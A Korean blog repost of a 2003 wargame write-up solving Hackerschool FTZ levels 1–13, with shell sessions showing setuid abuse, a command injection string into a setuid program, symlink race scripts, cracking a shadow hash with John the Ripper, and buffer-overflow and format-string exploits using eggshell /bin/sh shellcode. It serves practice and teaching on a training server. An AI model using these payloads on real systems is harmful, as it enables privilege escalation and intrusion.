군대 제대하고 풀었던 문제들이네요. 지금은 문제풀이가 많이 바뀌었겠지만 기본 개념은 거기서 거기일듯. 여튼 2012년도에 2003년 문서를 보니 감회가 새롭네요~
writer : ttongfly@realskulls.org2003. 7. 17
homepage : http://ttongfly.realskulls.org
wargamez URL : telnet://ftz.hackerschool.org
=================================================================================
레벨 :: 1
=================================================================================
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
[level1@ftz level1]$
=================================================================================
[level1@ftz level1]$ find / -perm -4000 -user level2 2;/dev/null
/bin/ExcuteMe
[level1@ftz level1]$ /bin/ExcuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ bash;
[level2@ftz level2]$ my-pass
Level2 Password is “hacker or cracker”.
[level2@ftz level2]$
=================================================================================
레벨 :: 2
=================================================================================
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데…
[level2@ftz level2]$
=================================================================================
[level2@ftz level2]$ find / -user level3 -perm -4000 2;/dev/null
/usr/bin/editor
[level2@ftz level2]$ dir -al /usr/bin/editor
-rwsr-s—1 level3 level213621 Oct 272002 /usr/bin/editor
[level2@ftz level2]$ /usr/bin/editor
~
~
~VIM – Vi IMproved
~
~ version 6.1
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~Help poor children in Uganda!
~type:help iccf;Enter; for information
~
~type:q;Enter; to exit
~type:help;Enter;or;F1;for on-line help
~type:help version6;Enter; for version info
~
~
~
:!bash
[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass
Level3 Password is “can you fly?”.
[level3@ftz level2]$
=================================================================================
레벨 :: 3
=================================================================================
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include ;stdio.h;
#include ;stdlib.h;
#include ;unistd.h;
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( “Auto Digger Version 0.9\\n” );
printf( “Usage : %s host\\n”, argv[0] );
exit(0);
}
strcpy( cmd, “dig @” );
strcat( cmd, argv[1] );
strcat( cmd, ” version.bind chaos txt”);
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
– 동시에 여러 명령어를 사용하려면?
– 문자열 형태로 명령어를 전달하려면?
[level3@ftz level3]$
=================================================================================
[level3@ftz level3]$ find / -name autodig 2;/dev/null
/bin/autodig
[level3@ftz level3]$ dir -al /bin/autodig
-rwsr-s—1 level4 level314172 Oct 272002 /bin/autodig
[level3@ftz level3]$ /bin/autodig “naver.com;/bin/bash;”
dig: Couldn\’t find server \’naver.com\’: Name or service not known
[level4@ftz level3]$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
[level4@ftz level3]$ my-pass
Level4 Password is “suck my brain”.
[level4@ftz level3]$
=================================================================================
레벨 :: 4
=================================================================================
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
[level4@ftz level4]$
=================================================================================
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ dir -al
total 60
drwxr-xr-x2 root root 4096 Apr 29 14:38 .
drwxr-xr-x 51 root root 4096 Jul 12 19:41 ..
-rw-r–r–1 root root171 Mar 28 22:49 backdoor
-rw-r–r–1 root root295 Mar 28 22:49 chargen
-rw-r–r–1 root root315 Mar 28 22:49 chargen-udp
-rw-r–r–1 root root295 Mar 28 22:49 daytime
-rw-r–r–1 root root315 Mar 28 22:49 daytime-udp
-rw-r–r–1 root root287 Mar 28 22:49 echo
-rw-r–r–1 root root306 Mar 28 22:49 echo-udp
-rw-r–r–1 root root312 Mar 28 22:49 servers
-rw-r–r–1 root root310 Mar 28 22:49 services
-rw-r–r–1 root root406 Mar 28 22:49 sgi_fam
-rw-r–r–1 root root302 Mar 28 22:49 telnet
-rw-r–r–1 root root319 Mar 28 22:49 time
-rw-r–r–1 root root315 Mar 28 22:49 time-udp
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait= no
user= level5
server= /home/level4/tmp/backdoor
log_on_failure+= USERID
}
[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ dir
backdoor
[level4@ftz tmp]$ cat backdoor
#! /bin/my-pass
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is “what is your name?”.
[level4@ftz tmp]$
finger 포트는 79번이므로 79번 포트로 다른 호스트에서 원격으로 접속해도 가능하다
=================================================================================
레벨 :: 5 (Race Condition)
=================================================================================
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
[level5@ftz level5]$
=================================================================================
[level5@ftz tmp]$ cat ; exp1.c
#include ;stdio.h;
#include ;stdlib.h;
#include ;unistd.h;
int main()
{
int i;
for (i=0;i;=100000;i++)
{
system (“rm -rf /tmp/level5.tmp”);
system (“ln -s/home/level5/tmp/pass.txt /tmp/level5.tmp”);
}
}
[level5@ftz tmp]$ cat ; exp2.c
#include ;stdio.h;
#include ;stdlib.h;
#include ;unistd.h;
int main()
{
int i;
for (i=0;i;=100000;i++)
{
system(“/usr/bin/level5”);
}
}
[level5@ftz tmp]$ cat ; pass.txt
dsjflksdjflksdjflksjdklf
[level5@ftz tmp]$ ./exp2 &
[7] 1247
[level5@ftz tmp]$ ./exp1
[8]+Stopped ./exp1
[level5@ftz tmp]$ dir
exp1exp1.cexp2exp2.cpass.txt
[level5@ftz tmp]$ cat pass.txt
next password : what the hell
[level5@ftz tmp]$
=================================================================================
레벨 :: 6
=================================================================================
hint – 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
Control + C
[level6@ftz level6]$
=================================================================================
[level6@ftz level6]$ dir
hintpasswordpublic_htmltmptn
[level6@ftz level6]$ cat password
Level7 password is “come together”.
[level6@ftz level6]$
=================================================================================
레벨 :: 7
=================================================================================
[level7@ftz level7]$ cat hint
/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.
1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.
[level7@ftz level7]$
=================================================================================
[level7@ftz level7]$ /bin/level7
Insert The Password : hihihi
올바르지 않은 패스워드 입니다.
패스워드는 가까운곳에…
–_–_- –____- —_-__ –__-_-
[level7@ftz level7]$
–_–_- –____- —_-__ –__-_-
Binary : 1101101110000111101001100101
Decimal : 109 97 116 101
Hex : 6D 61 74 65
[level7@ftz level7]$ perl -e \’print “\\x6d\\x61\\x74\\x65\\n”\’
mate
[level7@ftz level7]$ /bin/level7
Insert The Password : mate
Congratulation! next password is “break the world”.
[level7@ftz level7]$
=================================================================================
레벨 :: 8
=================================================================================
[level8@ftz level8]$ cat hint
level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 “1481”이라는 것 뿐이다.
[level8@ftz level8]$
=================================================================================
[level8@ftz level8]$ find / -group level8 -size 1481c 2;/dev/null
/etc/rc.d/found.txt
[level8@ftz level8]$ cat /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
[level8@ftz level8]$
해커스쿨에서는 wget으로 파일을 다운 받을수 없게 설정이 되어 있어, 도스용 존더리퍼를 다운받아서
쉐도우 패스워드 크랙에 사용했음
http://packetstormsecurity.nl/Crackers/john-16d.zip 다운로드
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\\Documents and Settings\\Admin;e:
E:\\;cd john*
E:\\JOHN-16;cd run
E:\\JOHN-16\\RUN;copy con shadow.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
^Z
1개 파일이 복사되었습니다.
E:\\JOHN-16\\RUN;john shadow.txt
Loaded 1 password (FreeBSD MD5 [32/32])
apple(level9)
guesses: 1time: 0:00:00:01 100% (2)c/s: 2673trying: apple
E:\\JOHN-16\\RUN;
=================================================================================
레벨 :: 9
=================================================================================
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include ;stdio.h;
#include ;stdlib.h;
#include ;unistd.h;
main(){
char buf2[10];
char buf[10];
printf(“It can be overflow : “);
fgets(buf,40,stdin);
if ( strncmp(buf2, “go”, 2) == 0 )
{
printf(“Good Skill!\\n”);
setreuid( 3010, 3010 );
system(“/bin/bash”);
}
}
이를 이용하여 level10의 권한을 얻어라.
[level9@ftz level9]$
=================================================================================
[level9@ftz level9]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)
스택의 구조가 [buf][buf2][sfp][ret] 이렇게 될것이라 예상이 되지만
gcc 2.96버젼부터는 16배수 단위로 변수할당을 하기 시작함
다시말해 스택의 구조가 [buf][buf2][dummy 6bytez][sfp][ret] 이렇게 구성됨
buf에서 buf2까지 10bytes + dummy 6bytes + sfp 2bytes = ret
BBBBBBBBBB(buf값) + BBBBBB (dummy값) + go(sfp) = ret
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : BBBBBBBBBBBBBBBBgo
Good Skill!
[level10@ftz level9]$ id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
[level10@ftz level9]$ my-pass
Level10 Password is “interesting to hack!”.
[level10@ftz level9]$
=================================================================================
레벨 :: 10
=================================================================================
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, key_t의 값은
7530, 대화를 나눌 때 사용하는 변수명은 text라고 한다.
이를 이용해 두 사람의 대화를 도청하여 hall의 권한을 얻어라.
– 레벨을 완료하셨다면 소스는 지우고 나가주세요.
[level10@ftz level10]$
=================================================================================
[level10@ftz tmp]$ cat ; a.c
#include ;sys/types.h;
#include ;sys/ipc.h;
#include ;sys/shm.h;
#include ;stdio.h;
int main(void)
{
int shmid;
char *sham;
shmid = shmget(7530,1000,0666);
// shmget : 새로운 메시지 큐를 만들거나 존재하는 큐에 접근하기위해 사용됨
// PROTOTYPE: int shmget ( key_t key, int size, int shmflg );
sham = shmat(shmid, NULL, 0);
// shmat : 메모리 영역이 나타날 가상 주소를 지정
// PROTOTYPE: int shmat ( int shmid, char *shmaddr, int shmflg);
printf(“sham(내용)은 : \\n%s”, sham);
shmdt(sham);
}
[level10@ftz tmp]$ gcc -o a a.c
[level10@ftz tmp]$ ./a
sham(내용)은 :
멍멍: level11의 패스워드는?
구타: what!@#$?
[level10@ftz tmp]$
=================================================================================
레벨 :: 11
=================================================================================
[level11@ftz level11]$ cat hint
#include ;stdio.h;
#include ;stdlib.h;
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz level11]$
=================================================================================
[level11@ftz level11]$ dir -al
total 96
drwxr-xr-x4 root level114096 Mar 18 22:34 .
drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..
-rwsr-x—1 level12level11 13733 Mar7 22:21 attackme
-rw——-1 root root 40 Mar 18 22:44 .bash_history
-rw-r–r–1 root level1124 Feb 232002 .bash_logout
-rw-r–r–1 root level11 224 Feb 232002 .bash_profile
-rw-r–r–1 root level11 151 Feb 232002 .bashrc
-rw-r–r–1 root level11 400 Jan 241999 .cshrc
-rw-r–r–1 root level114742 Jan 241999 .emacs
-r–r–r–1 root level11 319 Jan 241999 .gtkrc
-rw-r–r–1 root level11 100 Jan 241999 .gvimrc
-rw-r—–1 root level11 168 Mar7 22:23 hint
-rw-r–r–1 root level11 226 Jan 241999 .muttrc
-rw-r–r–1 root level11 367 Jan 241999 .profile
drwxr-xr-x2 root level114096 Feb 232002 public_html
drwxrwxr-x3 root level114096 Jul 17 10:52 tmp
-rw-r–r–1 root root1 May72002 .viminfo
-rw-r–r–1 root level114145 Jan 241999 .vimrc
-rw-r–r–1 root level11 245 Jan 241999 .Xdefaults
[level11@ftz level11]$ ./attackme
Segmentation fault
[level11@ftz level11]$ gdb ./attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048470 ;main;: push %ebp
0x8048471 ;main+1;: mov%esp,%ebp
0x8048473 ;main+3;: sub$0x108,%esp
0x8048479 ;main+9;: sub$0x8,%esp
0x804847c ;main+12;:push $0xc14
0x8048481 ;main+17;:push $0xc14
0x8048486 ;main+22;:call 0x804834c ;setreuid;
0x804848b ;main+27;:add$0x10,%esp
0x804848e ;main+30;:sub$0x8,%esp
0x8048491 ;main+33;:mov0xc(%ebp),%eax
0x8048494 ;main+36;:add$0x4,%eax
0x8048497 ;main+39;:pushl(%eax)
0x8048499 ;main+41;:lea0xfffffef8(%ebp),%eax
0x804849f ;main+47;:push %eax
0x80484a0 ;main+48;:call 0x804835c ;strcpy;
0x80484a5 ;main+53;:add$0x10,%esp
0x80484a8 ;main+56;:sub$0xc,%esp
0x80484ab ;main+59;:lea0xfffffef8(%ebp),%eax
0x80484b1 ;main+65;:push %eax
0x80484b2 ;main+66;:call 0x804833c ;printf;
0x80484b7 ;main+71;:add$0x10,%esp
0x80484ba ;main+74;:leave
0x80484bb ;main+75;:ret
0x80484bc ;main+76;:nop
0x80484bd ;main+77;:nop
0x80484be ;main+78;:nop
0x80484bf ;main+79;:nop
End of assembler dump.
(gdb) quit
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ cat ; egg.c
/* eggshell.c */
#include ;stdlib.h;
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
“\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46”
“\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89”
“\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68”
“\\x00\\xc9\\xc3\\x90/bin/sh”;
unsigned long get_esp(void)
{
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc ; 1) bsize = atoi(argv[1]);
if (argc ; 2) offset = atoi(argv[2]);
if (argc ; 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}
addr = get_esp() – offset;
printf(“Using address: 0x%x\\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i ; bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for(i = 0; i ; strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize – 1] = \’\\0\’;
egg[eggsize – 1] = \’\\0\’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}
[level11@ftz tmp]$ gcc -o egg egg.c
[level11@ftz tmp]$ cd ..
[level11@ftz level11]$ ./tmp/egg
Using address: 0xbffffac8
[level11@ftz level11]$ ./attackme `perl -e \’print “\\xc8\\xfa\\xff\\xbf”x100\’`
sh-2.05a$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05a$ my-pass
TERM environment variable not set.
Level12 Password is “it is like this”.
sh-2.05a$
=================================================================================
레벨 :: 12
=================================================================================
[level12@ftz level12]$ cat hint
#include ;stdio.h;
#include ;stdlib.h;
#include ;unistd.h;
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( “문장을 입력하세요.\\n” );
gets( str );
printf( “%s\\n”, str );
}
[level12@ftz level12]$
=================================================================================
[level12@ftz level12]$ dir -al
total 96
drwxr-xr-x4 root level124096 Mar 18 22:44 .
drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..
-rwsr-x—1 level13level12 13771 Mar7 22:24 attackme
-rw——-1 root root 16 Mar 18 22:44 .bash_history
-rw-r–r–1 root level1224 Feb 232002 .bash_logout
-rw-r–r–1 root level12 224 Feb 232002 .bash_profile
-rw-r–r–1 root level12 151 Feb 232002 .bashrc
-rw-r–r–1 root level12 400 Jan 241999 .cshrc
-rw-r–r–1 root level124742 Jan 241999 .emacs
-r–r–r–1 root level12 319 Jan 241999 .gtkrc
-rw-r–r–1 root level12 100 Jan 241999 .gvimrc
-rw-r—–1 root level12 204 Mar7 22:24 hint
-rw-r–r–1 root level12 226 Jan 241999 .muttrc
-rw-r–r–1 root level12 367 Jan 241999 .profile
drwxr-xr-x2 root level124096 Feb 232002 public_html
drwxrwxr-x2 root level124096 Jul 16 20:01 tmp
-rw-r–r–1 root root1 May72002 .viminfo
-rw-r–r–1 root level124145 Jan 241999 .vimrc
-rw-r–r–1 root level12 245 Jan 241999 .Xdefaults
[level12@ftz level12]$ ./attackme
문장을 입력하세요.
aaa
aaa
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ cat ; egg.c
level11의 egg.c 랑 같은 소스
[level12@ftz tmp]$ gcc -o egg egg.c
[level12@ftz level12]$ ./tmp/egg
Using address: 0xbffffae8
[level12@ftz level12]$ (printf “`perl -e \’print “a”x268\’`\\xe8\\xfa\\xff\\xbf”;cat)|./attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
[level12@ftz level12]$ (printf “`perl -e \’print “a”x268\’`\\xe8\\xfa\\xff\\xbf”;cat)|./attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass
TERM environment variable not set.
Level13 Password is “have no clue”.
[level12@ftz level12]$
자 소스를 보면 buf[256]으로 되어 있다. 그렇다면 [buf256]+[$ebp4]+[ret] 이기 때문에 260의 쓰레기값을 던지고
egg쉘의 주소를 넣어주어야 할텐데 왜 268을 넣었을까.
[level12@ftz level12]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)
gcc 2.96부터는 ret값 계산시 buf값보다 같거나 큰 16의 배수값 더하기 dummy 8bytez 더하기 $ebp의 값
다음에 ret값이 오게 된다.
[buf보다 큰 16의 배수값]+[dummy 8bytez]+[$ebp 4bytez]+[ret]
이와같은 메모리 구조를 갖게 된다.
따라서 이 문제의 경우 [buf256]+[dummy 8]+[$ebp 4] = 268 이 된다..
그리하여 buffer overflow 시켜 ret값을 변경하기 위해서는 쓰레기값을 268개 넣어주어야 하는 것이다.
=================================================================================
레벨 :: 13 (Stack Guard)
=================================================================================
[level13@ftz level13]$ cat hint
#include ;stdlib.h;
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc ; 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(” Warnning: Buffer Overflow !!! \\n”);
kill(0,11);
}
}
[level13@ftz level13]$
=================================================================================
[level13@ftz level13]$ dir -al
total 96
drwxr-xr-x4 root level134096 Mar 18 22:44 .
drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..
-rwsr-x—1 level14level13 13953 Mar7 22:32 attackme
-rw——-1 root root 16 Mar 18 22:44 .bash_history
-rw-r–r–1 root level1324 Feb 232002 .bash_logout
-rw-r–r–1 root level13 224 Feb 232002 .bash_profile
-rw-r–r–1 root level13 151 Feb 232002 .bashrc
-rw-r–r–1 root level13 400 Jan 241999 .cshrc
-rw-r–r–1 root level134742 Jan 241999 .emacs
-r–r–r–1 root level13 319 Jan 241999 .gtkrc
-rw-r–r–1 root level13 100 Jan 241999 .gvimrc
-rw-r—–1 root level13 258 Mar7 22:32 hint
-rw-r–r–1 root level13 226 Jan 241999 .muttrc
-rw-r–r–1 root level13 367 Jan 241999 .profile
drwxr-xr-x2 root level134096 Feb 232002 public_html
drwxrwxr-x2 root level134096 Jul 18 11:11 tmp
-rw-r–r–1 root root1 May72002 .viminfo
-rw-r–r–1 root level134145 Jan 241999 .vimrc
-rw-r–r–1 root level13 245 Jan 241999 .Xdefaults
[level13@ftz level13]$ ./attackme
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ cat ; egg.c
레벨 11의 egg.c 소스 작성
[level13@ftz tmp]$ gcc -o egg egg.c
[level13@ftz tmp]$ cd ..
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1300\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1200\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1100\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1030\’`
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1050\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1040\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1035\’`
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1037\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1035\’`
[level13@ftz level13]$
스택가드가 시작되는 부분은 1036번쨰 부터이다.
1035까지 쓰레기값을 넣어준다음에 1036부터 1040까지 스택가드를
보호해준 후에 다시 ret값을 변조하면 된다.
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ cat ; sdump.c
#include ;stdlib.h;
#include ;dumpcode.h;
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc ; 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(” Warnning: Buffer Overflow !!! \\n”);
kill(0,11);
dumpcode(buf,1040);
}
}
[level13@ftz tmp]$ gcc -o sdump sdump.c
[level13@ftz tmp]$ ./sdump `perl -e \’print “a”x1036\’`
Warnning: Buffer Overflow !!!
Segmentation fault
[level13@ftz tmp]$ ./sdump `perl -e \’print “a”x1035\’`
0xbffff2d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff2e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff2f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff30061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff31061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff32061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff33061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff34061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff35061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff36061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff37061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff38061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff39061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff3f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff40061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff41061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff42061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff43061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff44061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff45061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff46061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff47061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff48061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff49061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff4a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
